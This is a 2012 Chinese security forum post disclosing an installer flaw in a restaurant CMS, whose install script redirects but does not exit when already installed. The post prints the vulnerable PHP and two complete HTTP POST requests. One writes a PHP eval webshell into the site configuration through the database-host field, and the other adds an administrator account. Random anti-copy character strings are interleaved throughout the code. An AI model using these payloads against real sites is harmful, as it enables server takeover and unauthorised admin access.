找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2021|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
; c  P9 e  b: g! O9 U3 o- ?. h; o5 X# ^( b9 y1 @3 W6 _6 [
<?php6 ~" J4 q0 k3 j% b% ^8 l7 k
if(file_exists("../install.lock"))
2 w# E# p; @- |" u{
2 u6 ^; _4 y. T: r    header("Location: ../");//没有退出
4 O$ a9 ~/ o4 ^2 E3 p; K}( p: w- t# X. J. B5 Z; e
               2 @) a. y9 J' {: A8 @
//echo 'tst';exit;
- s. x, s. i+ M0 Crequire_once("init.php");
" L& `4 T5 S  ~* ]3 b; W; Jif(empty($_REQUEST['step']) || $_REQUEST['step']==1)+ E7 g1 c. _# G. ~! E+ i. _# p
{
' T/ w7 @) V! t% u0 g6 o可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。& Z: \% a; W4 D/ U) F

$ }! t; ]2 K4 g2 a# l$ U3 L1、getshell(很危险)" D0 o% {( o% h. c. K3 [& `
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
1 i" x  A+ b: r( ?' q  g{
# Y% }3 o+ o0 N7 O+ W& q$smarty->assign("step",1);# X# j+ V0 }/ G' W
$smarty->display("index.html");* p6 d4 ?3 e- f
}elseif($_REQUEST['step']==2)6 h; ^* ]" M& o2 a" Z2 w
{
% V: E0 A* N3 J! O  n/ y    $mysql_host=trim($_POST['mysql_host']);8 G$ i! S. \& c& l6 t
    $mysql_user=trim($_POST['mysql_user']);& O) D# C, _/ C/ y
    $mysql_pwd=trim($_POST['mysql_pwd']);
1 v& C" o) J3 m: w/ A, X% b) L    $mysql_db=trim($_POST['mysql_db']);
4 m0 P% \6 t% @4 r0 d( H! V    $tblpre=trim($_POST['tblpre']);0 ^5 I' B4 _! L0 K; m
    $domain==trim($_POST['domain']);
$ y9 Q$ i& t8 Q' ^+ v# V% ]& r    $str="<?php \r\n";
5 R: X7 z0 N! v( g    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";7 A8 D% @" \" O. Q" |- @: ~2 w9 g
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";3 }9 V# E4 d" {. x5 P
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
3 h" L3 o0 S! ]! e% m  r$ x4 x    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
3 ]6 i# A8 e* D* Q, H# ~4 I    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
1 q, p) {; \8 Q7 J  Y2 S; j9 X    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
6 C8 A& I7 M% |. q% D! g    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
1 r8 Q( d3 G0 H3 ^" x( v2 _& ^/ p    $str.='define("SKINS","default");'."\r\n";* b% U  U' q, d9 B0 t- Y
    $str.='?>';
) s! s3 r7 b8 S) X. m6 M' i* i    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
0 @5 |2 [3 }6 }$ ^上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
, q0 R) C8 M& h( q( x1 S; }2 F9 GPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
8 ]; D- p& v1 tHost: 192.168.80.129
7 T; _3 Q$ P/ }" q+ ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
4 u& w9 i9 [1 D, f$ W/ L% ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  N2 Z  o8 [. o+ h6 u$ y$ hAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3/ c) v3 k. G! v% _7 F, Z, m+ Z& p
Accept-Encoding: gzip, deflate
7 _, B" s; V/ }/ b7 E. nReferer: http://192.168.80.129/canting/install/index.php?step=1
6 e# P6 K5 K& `* qCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42+ [; ~, O' q6 P2 v- Q4 F
Content-Type: application/x-www-form-urlencoded
: s# g0 x& G/ ]Content-Length: 126
7 M$ N$ E( l5 u" w3 @          $ ~7 C8 I! ]9 E( Q" k) F
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD, e6 e4 Z3 z/ f5 I, a+ E* u
但是这个方法很危险,将导致网站无法运行。4 Q% y1 T$ X+ Q( a" }# A' k1 G

0 q" g) m, ?  _) Y, u1 L6 ]* L2、直接添加管理员
, r" h6 A, T& Y# R  w& \
% Q0 c1 A3 `* \' T" melseif($_REQUEST['step']==5)
3 @! h' a; S8 y" b{( L) k" g# f6 V
    if($_POST), p& H* G2 n. @
    {   require_once("../config/config.inc.php");
$ A) b: I4 g# u        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);- k) ~4 j: z) Z0 V- N" |
        mysql_select_db(MYSQL_DB,$link);' X9 Q2 f# n6 Z  g
        mysql_query("SET NAMES ".MYSQL_CHARSET );1 P' K* M7 O7 R  p& ~8 ?
         mysql_query("SET sql_mode=''");' n+ c' E+ n, g1 @/ D$ t9 o- X, a1 c& G
+ y; C6 F4 [( \' M
$adminname=trim($_POST['adminname']);
7 Y6 B! x- J! s. p/ e        $pwd1=trim($_POST['pwd1']);: @7 d0 O* W7 O% h) W9 M
        $pwd2=trim($_POST['pwd2']);
& D" d4 ^2 G: K( e5 {        if(empty($adminname)). ]( b! \! `* L* ^+ o7 r0 c
        {% a3 ?& ?. o0 \
' h: P, W8 R1 J, [
echo "<script>alert('管理员不能为空');history.go(-1);</script>";' j% n2 N3 [* k* M  Q8 h5 I+ f
            exit();" a; Q; k* p7 _& j
        }
' [  l) u% U8 S) B' X        if(($pwd1!=$pwd2) or empty($pwd1))
4 u, b  r5 ?+ [  d7 U% o        {
2 Z9 g5 _0 V5 s# _( R6 U3 z% t            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出$ H! d' z5 }; O! j/ [. Z
        }7 ?4 s# e( K' ?% E7 B6 m% F
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员( _. ~7 _5 r& j& R
    }+ {( c0 z) L( x
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
8 O! Z% `3 Y9 r6 UPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
+ J' u7 N1 @8 V1 |! bHost: 192.168.80.1291 v! f: B& o& s6 P! n0 |8 u/ K
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.08 v1 M7 [5 X3 H4 w4 c% G
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' T. f! M8 |8 V( z$ Y5 |Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
# n' @7 k2 V6 ~0 _Accept-Encoding: gzip, deflate$ R+ m) ~8 f) V* X; R! b
Referer: http://www.2cto.com /canting/install/index.php?step=12 c( `8 S  B0 k- u
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42) P; N+ E' }2 g, K9 s5 d6 H& u+ `
Content-Type: application/x-www-form-urlencoded$ v+ j3 _. k2 w, `
Content-Length: 46) l$ i0 \& ~/ {/ H/ J
      
5 `; E% T: v( B8 d- o& A5 @( Radminname=qingshen&pwd1=qingshen&pwd2=qingshen​
# d' l) J8 ]7 B: C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表